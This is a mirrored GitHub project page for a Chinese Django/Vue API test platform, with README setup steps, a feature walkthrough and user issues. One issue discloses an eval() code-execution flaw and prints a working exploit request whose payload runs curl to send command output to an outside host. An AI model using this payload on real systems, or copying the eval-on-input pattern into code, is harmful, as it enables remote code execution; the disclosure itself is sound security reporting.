GithubHelp home page GithubHelp logo

githublitao / api_automation_test Goto Github PK

View Code? Open in Web Editor NEW
1.5K 85.0 835.0 42.59 MB

接口自动化测试平台(老平台移步master_old分支)

License: MIT License

Python 85.34% Dockerfile 0.46% JavaScript 5.67% CSS 0.38% Batchfile 2.92% Shell 5.24%
django vue apitest requests python3

api_automation_test's Introduction

api_automation_test

接口测试平台从开始到放弃

python3.6.3 Django 2.0.2框架

服务器已过期,不准备续费 体验地址:http://120.79.232.23 请体验用户不要删除已有数据

版本更新:

v2.3

引入docker部署,由于采用的docker,基础镜像为centos,所以Windows下部署仍然可以使用定时任务

 docker-compose up

v2.2

1.新增钉钉登录

1.先在钉钉开发平台上创建账号<br>
2.替换dingConfig.py里的appid和APPSECRET<br>
3.修改前段login.vue里的回调地址<br>

V2.1.2

1.增加导出测试用例功能

V2.1.1

1.新增swaggerUI界面,访问地址127.0.0.1:8000/docs/

V2.1

1.优化前端代码,适配屏幕分辨率,未做浏览器兼容性,目前只在chrome上浏览正常
2.新增mock功能,api管理模块可启动,关闭mock,启动后,通过访问http://127.0.0.1:8000/mock/+真实url,可返回mock信息

V2.0

重构接口代码,引入反序列化方式,修改接口为基于类的方式,因修改大量后台接口代码,前端未更新,所以目前前端调用接口会出现大量问题,目前平台暂不可用,后续更新

系统声明:


1.本系统采用Django REST framework编写接口,前端页面采用比较容易上手的vue+elementUI
2.初步学习web开发,接口统一采用基于方法的方式编写,后续引入权限系统,并修改成基于类的方法

使用方法:


1.安装Python3环境(未在Python2上运行后,不知道有没有问题)

2.下载代码到本地并解压

3.cmd到根目录下安装相关依赖包

pip install -r requirements.txt<br>
pip install https://github.com/darklow/django-suit/tarball/v2

4.安装mysql数据库,配置数据库连接,进入api_automation_test/settings.py

DATABASES = {
    'default': {
        # 'ENGINE': 'django.db.backends.sqlite3',
        # 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
        'ENGINE':'django.db.backends.mysql',     # 数据库类型,mysql
        'NAME':'api_test',            #  database名
        'USER':'root',               # 登录用户
        'PASSWORD':'123456',        #  登录用户名
        'HOST':'127.0.0.1',        # 数据库地址
        'PORT':'3306'              # 数据库端口
    }
}

5.cmd到根目录下,让 Django 知道我们在我们的模型有一些变更

python manage.py makemigrations

6.创造或修改表结构

python manage.py migrate 

7.创建超级用户,用于登录后台管理

python manage.py createsuperuser

8.安装VUE环境,下载node.js并配置环境,下载npm包管理器

9.cmd进入frontend目录下,运行npm install安装相关依赖包

10.打包

npm run build

11.运行启动django服务

python manage.py runserver 0.0.0.0:8000

12.现在就可以访问 http://127.0.0.1:8000/login 进行登录, http://127.0.0.1:8000/admin 为后台管理平台

微信打赏:

微信打赏

系统图解:

系统图

项目讲解:

1、登录页面,只提供了登录方法,并没有注册和忘记密码功能,账号由后台管理系统直接创建分配
登录页面

2、目前只开放了接口测试,所有只有项目列表页面,可完成项目的新增,删除,查询,修改,批量删除
首页

3、新增项目
新增项目

4、点击项目名称后,进入项目概况界面,总的展示一些项目的基本情况
项目概况

5、HOST配置页面,提供了,增删改查,批量修改HOST,作为执行自动化测试时的全局变量
HOST配置

6、新增Host
新增Host

7、API页面,可执行快速测试,类似于postman,新增修改删除接口分组,新增修改删除项目接口,后续计划根据输入的接口搭建mockserver和下载接口文档
API页面

8、快速测试界面,类似于postman的功能,后续怎么json格式显示的样式
快速测试界面

9、新增接口分组,用于按模块对接口进行分类,更好的管理接口
新增接口分组

10、新增API,用户可新增的API,目前只支持源数据格式和form-data格式
新增API

11、接口详情界面,查看接口基本内容,可对接口进行测试,修改,删除,查看接口历史动态
接口详情界面
12、下载的接口文档模板

接口文档

13、自动化测试页面,实现自动化用例的分组,增删改查用例,并添加自动化定时任务定时任务
自动化测试页面

14、新增测试用例
新增测试用例

15、用例下的接口列表,可添加用例接口,选择不同的环境测试接口,以及下载测试报告和设置定时任务
用例下的接口列表

16、用例下添加已有的接口,可添加在api模块中,已添加的接口,默认校验方式为不校验
用例下添加已有的接口

17、项目成员,只做一个展示项目组成员页面,成员添加删除由后台管理操作,后续引入权限系统,分配权限角色
项目成员

18、展示项目三天内的动态情况
项目动态

18、自动化测试生成的报告,保留最近10次测试结果
自动化测试报告

20、退出登录,跳转至登录页面
退出登录

21、后台管理页面,主要用作数据管理,及项目人员添加删除
后台管理

api_automation_test's People

Contributors

dependabot[bot] avatar githublitao avatar ktdynamic avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

api_automation_test's Issues

我在frontend目录下执行npm run build报错

我已经安装了npm,vue,不知道为什么,报错信息如下,不知道为什么了,谢谢!

[email protected] build F:\appiumforone\LucePindian\api_automation_test-master\api_automation_test-master\frontend
node build/build.js

module.js:549
throw err;
^

Error: Cannot find module 'chalk'
at Function.Module._resolveFilename (module.js:547:15)
at Function.Module._load (module.js:474:25)
at Module.require (module.js:596:17)
at require (internal/module.js:11:18)
at Object. (F:\appiumforone\LucePindian\api_automation_test-master\api_automation_test-master\frontend\build\check-versions.js:1:75)
at Module._compile (module.js:652:30)
at Object.Module._extensions..js (module.js:663:10)
at Module.load (module.js:565:32)
at tryModuleLoad (module.js:505:12)
at Function.Module._load (module.js:497:3)
npm ERR! code ELIFECYCLE
npm ERR! errno 1
npm ERR! [email protected] build: node build/build.js
npm ERR! Exit status 1
npm ERR!
npm ERR! Failed at the [email protected] build script.
npm ERR! This is probably not a problem with npm. There is likely additional logging output above.

npm ERR! A complete log of this run can be found in:
npm ERR! C:\Users\Administrator\AppData\Roaming\npm-cache_logs\2019-03-11T06_15_52_958Z-debug.log

Amap引入问题

你好,请问地图定位服务是如何引入的。我复制你的login.vue也安装了vue-amap.但是一直提示找不到Amap组件。按网上的教程在index.html加了段引入webapi.amap的脚本<script>xxx</script>也无法定位成功

项目代码存在代码执行漏洞

项目代码中大量利用eval()来处理json对象,从而导致代码执行漏洞。
qq 20181119103445

以下请求是exp代码

POST /api/automation/add_new_api HTTP/1.1
Host: 120.79.232.23:8000
Content-Length: 512
Accept: */*
Origin: http://120.79.232.23
Authorization: Token 640ca3dbb875b6cfe898bf0c9b0f45a921ef169b
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://120.79.232.23/
Accept-Encoding: gzip, deflate
Accept-Language: zh,en;q=0.9,en-GB;q=0.8,zh-CN;q=0.7
Connection: close

{"project_id":712,"automationTestCase_id":68,"name":"a121112a","httpType":"HTTP","requestType":"POST","apiAddress":"127.0.0.1","headDict":[{"name":"1","value":"1","interrelate":false},{"name":"1","value":"1","interrelate":false}],"requestParameterType":"raw","formatRaw":false,"requestList":[{"name":"1","value":"1","interrelate":false},{"name":"1","value":"1","interrelate":false}],"examineType":"json","RegularParam":"","httpCode":"200","responseData":"__import__('os').system('curl x.xx.xx.xx/8000`pwd`')"}

可以直接触发automationCase.py 中的AddNewApi方法

# 776-783
                api_ids = AutomationCaseApi.objects.get(id=api_id)
                if data["examineType"] == "json":
                    try:
                        response = eval(data["responseData"].replace("true", "True").replace("false", "False").replace("null", "None"))
                        api = "<response[JSON][%s]>" % api_id
                        create_json(api_ids, api, response)
                    except KeyError:
                        return JsonResponse(code="999998", msg="失败!")

自动化测试中新建接口,点击保存后台返回500错误

步骤:自动化测试模块中点击进入新建接口,填入接口名称、url点击保存;

实际结果:保存失败,控制台显示500错误;
预期结果:可以保存成功;

控制台截图:
image

备注:django后台报错:
File "D:\software\api_automation_test-master\api_test\api\automationCase.py", line 750, in post for i in data.get["requestList"]: TypeError: 'builtin_function_or_method' object is not subscriptable
发现在另一个api接口中新建接口可以保存成功;

初步怀疑add_new_api的post请求中body数据格式有问题;

Cannot uninstall 'certifi'.

运行pip install -r requirements.txt的时候出现:
Found existing installation: certifi 2018.4.16
Cannot uninstall 'certifi'. It is a distutils installed project and thus we cannot accurately determine which files belong to it which would lead to only a partial uninstall.

大佬,前端遇到了跨域问题

我创建了一个用户登录的post请求,请求发送成功并返回值,但是response里面就显示了0,打开控制台发现有跨域问题:
image
这里是服务端的配置:
ALLOWED_HOSTS = ['192.168.89.198', '127.0.0.1', '192.168.88.131', '192.168.88.108', '192.168.1.10', 'apitest.60community.com', '*']
请问该怎么解决?

项目不错,是否可以支持以下功能,多谢

打算要开发一个类似的接口测试平台,在这里看到这个项目,感觉项目不错,是否可以支持以下功能,多谢。如果认可的话,我希望能参与进来一起完善功能(不限于以下功能)。

  1. HOST支持配置域名对应的IP和端口,IP和端口可为空
  2. 测试环境也可以分组,支持选择多个测试环境批量执行;
  3. 增加基于用例分组的测试报告,增加邮件发送测试报告;
  4. 进入项目后,不隐藏左侧导航栏,方便切换;
  5. 账号注册,权限;

django.db.utils.InternalError: (1366, "Incorrect string value: '\\xE6\\x8E\\xA5\\xE5\\x8F\\xA3...' for column 'name' at row 1")

当我执行命令python3 manage.py migrate时报错如下:
[root@sur api_automation_test-master]# python3 manage.py migrate
Operations to perform:
Apply all migrations: admin, api_test, auth, authtoken, contenttypes, sessions
Running migrations:
Applying contenttypes.0001_initial... OK
Applying auth.0001_initial... OK
Applying admin.0001_initial... OK
Applying admin.0002_logentry_remove_auto_add... OK
Applying api_test.0001_initial... OK
Applying contenttypes.0002_remove_content_type_name... OK
Applying auth.0002_alter_permission_name_max_length... OK
Applying auth.0003_alter_user_email_max_length... OK
Applying auth.0004_alter_user_username_opts... OK
Applying auth.0005_alter_user_last_login_null... OK
Applying auth.0006_require_contenttypes_0002... OK
Applying auth.0007_alter_validators_add_error_messages... OK
Applying auth.0008_alter_user_username_max_length... OK
Applying auth.0009_alter_user_last_name_max_length... OK
Applying authtoken.0001_initial... OK
Applying authtoken.0002_auto_20160226_1747... OK
Applying sessions.0001_initial... OK
Traceback (most recent call last):
File "/usr/local/lib/python3.6/site-packages/django/db/backends/utils.py", line 85, in _execute
return self.cursor.execute(sql, params)
File "/usr/local/lib/python3.6/site-packages/django/db/backends/mysql/base.py", line 71, in execute
return self.cursor.execute(query, args)
File "/usr/local/lib/python3.6/site-packages/pymysql/cursors.py", line 170, in execute
result = self._query(query)
File "/usr/local/lib/python3.6/site-packages/pymysql/cursors.py", line 328, in _query
conn.query(q)
File "/usr/local/lib/python3.6/site-packages/pymysql/connections.py", line 893, in query
self._affected_rows = self._read_query_result(unbuffered=unbuffered)
File "/usr/local/lib/python3.6/site-packages/pymysql/connections.py", line 1103, in _read_query_result
result.read()
File "/usr/local/lib/python3.6/site-packages/pymysql/connections.py", line 1396, in read
first_packet = self.connection._read_packet()
File "/usr/local/lib/python3.6/site-packages/pymysql/connections.py", line 1059, in _read_packet
packet.check_error()
File "/usr/local/lib/python3.6/site-packages/pymysql/connections.py", line 384, in check_error
err.raise_mysql_exception(self._data)
File "/usr/local/lib/python3.6/site-packages/pymysql/err.py", line 109, in raise_mysql_exception
raise errorclass(errno, errval)
pymysql.err.InternalError: (1366, "Incorrect string value: '\xE6\x8E\xA5\xE5\x8F\xA3...' for column 'name' at row 1")

The above exception was the direct cause of the following exception:

Traceback (most recent call last):
File "manage.py", line 15, in
execute_from_command_line(sys.argv)
File "/usr/local/lib/python3.6/site-packages/django/core/management/init.py", line 371, in execute_from_command_line
utility.execute()
File "/usr/local/lib/python3.6/site-packages/django/core/management/init.py", line 365, in execute
self.fetch_command(subcommand).run_from_argv(self.argv)
File "/usr/local/lib/python3.6/site-packages/django/core/management/base.py", line 288, in run_from_argv
self.execute(*args, **cmd_options)
File "/usr/local/lib/python3.6/site-packages/django/core/management/base.py", line 335, in execute
output = self.handle(*args, **options)
File "/usr/local/lib/python3.6/site-packages/django/core/management/commands/migrate.py", line 223, in handle
self.verbosity, self.interactive, connection.alias, apps=post_migrate_apps, plan=plan,
File "/usr/local/lib/python3.6/site-packages/django/core/management/sql.py", line 51, in emit_post_migrate_signal
**kwargs
File "/usr/local/lib/python3.6/site-packages/django/dispatch/dispatcher.py", line 178, in send
for receiver in self._live_receivers(sender)
File "/usr/local/lib/python3.6/site-packages/django/dispatch/dispatcher.py", line 178, in
for receiver in self._live_receivers(sender)
File "/usr/local/lib/python3.6/site-packages/django/contrib/auth/management/init.py", line 79, in create_permissions
Permission.objects.using(using).bulk_create(perms)
File "/usr/local/lib/python3.6/site-packages/django/db/models/query.py", line 466, in bulk_create
ids = self._batched_insert(objs_without_pk, fields, batch_size)
File "/usr/local/lib/python3.6/site-packages/django/db/models/query.py", line 1148, in _batched_insert
self._insert(item, fields=fields, using=self.db)
File "/usr/local/lib/python3.6/site-packages/django/db/models/query.py", line 1125, in _insert
return query.get_compiler(using=using).execute_sql(return_id)
File "/usr/local/lib/python3.6/site-packages/django/db/models/sql/compiler.py", line 1281, in execute_sql
cursor.execute(sql, params)
File "/usr/local/lib/python3.6/site-packages/django/db/backends/utils.py", line 100, in execute
return super().execute(sql, params)
File "/usr/local/lib/python3.6/site-packages/django/db/backends/utils.py", line 68, in execute
return self._execute_with_wrappers(sql, params, many=False, executor=self._execute)
File "/usr/local/lib/python3.6/site-packages/django/db/backends/utils.py", line 77, in _execute_with_wrappers
return executor(sql, params, many, context)
File "/usr/local/lib/python3.6/site-packages/django/db/backends/utils.py", line 85, in _execute
return self.cursor.execute(sql, params)
File "/usr/local/lib/python3.6/site-packages/django/db/utils.py", line 89, in exit
raise dj_exc_value.with_traceback(traceback) from exc_value
File "/usr/local/lib/python3.6/site-packages/django/db/backends/utils.py", line 85, in _execute
return self.cursor.execute(sql, params)
File "/usr/local/lib/python3.6/site-packages/django/db/backends/mysql/base.py", line 71, in execute
return self.cursor.execute(query, args)
File "/usr/local/lib/python3.6/site-packages/pymysql/cursors.py", line 170, in execute
result = self._query(query)
File "/usr/local/lib/python3.6/site-packages/pymysql/cursors.py", line 328, in _query
conn.query(q)
File "/usr/local/lib/python3.6/site-packages/pymysql/connections.py", line 893, in query
self._affected_rows = self._read_query_result(unbuffered=unbuffered)
File "/usr/local/lib/python3.6/site-packages/pymysql/connections.py", line 1103, in _read_query_result
result.read()
File "/usr/local/lib/python3.6/site-packages/pymysql/connections.py", line 1396, in read
first_packet = self.connection._read_packet()
File "/usr/local/lib/python3.6/site-packages/pymysql/connections.py", line 1059, in _read_packet
packet.check_error()
File "/usr/local/lib/python3.6/site-packages/pymysql/connections.py", line 384, in check_error
err.raise_mysql_exception(self._data)
File "/usr/local/lib/python3.6/site-packages/pymysql/err.py", line 109, in raise_mysql_exception
raise errorclass(errno, errval)
django.db.utils.InternalError: (1366, "Incorrect string value: '\xE6\x8E\xA5\xE5\x8F\xA3...' for column 'name' at row 1")

swagger导入失败

使用正确的的swagger地址导入失败,提示:检查正确的swagger地址

你好,请教个问题

我站点搭建成功了,后台可以上的去,添加用户后,前台一直说账号或者密码错误,不知道该怎么解决,烦请看到后回复,谢谢

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.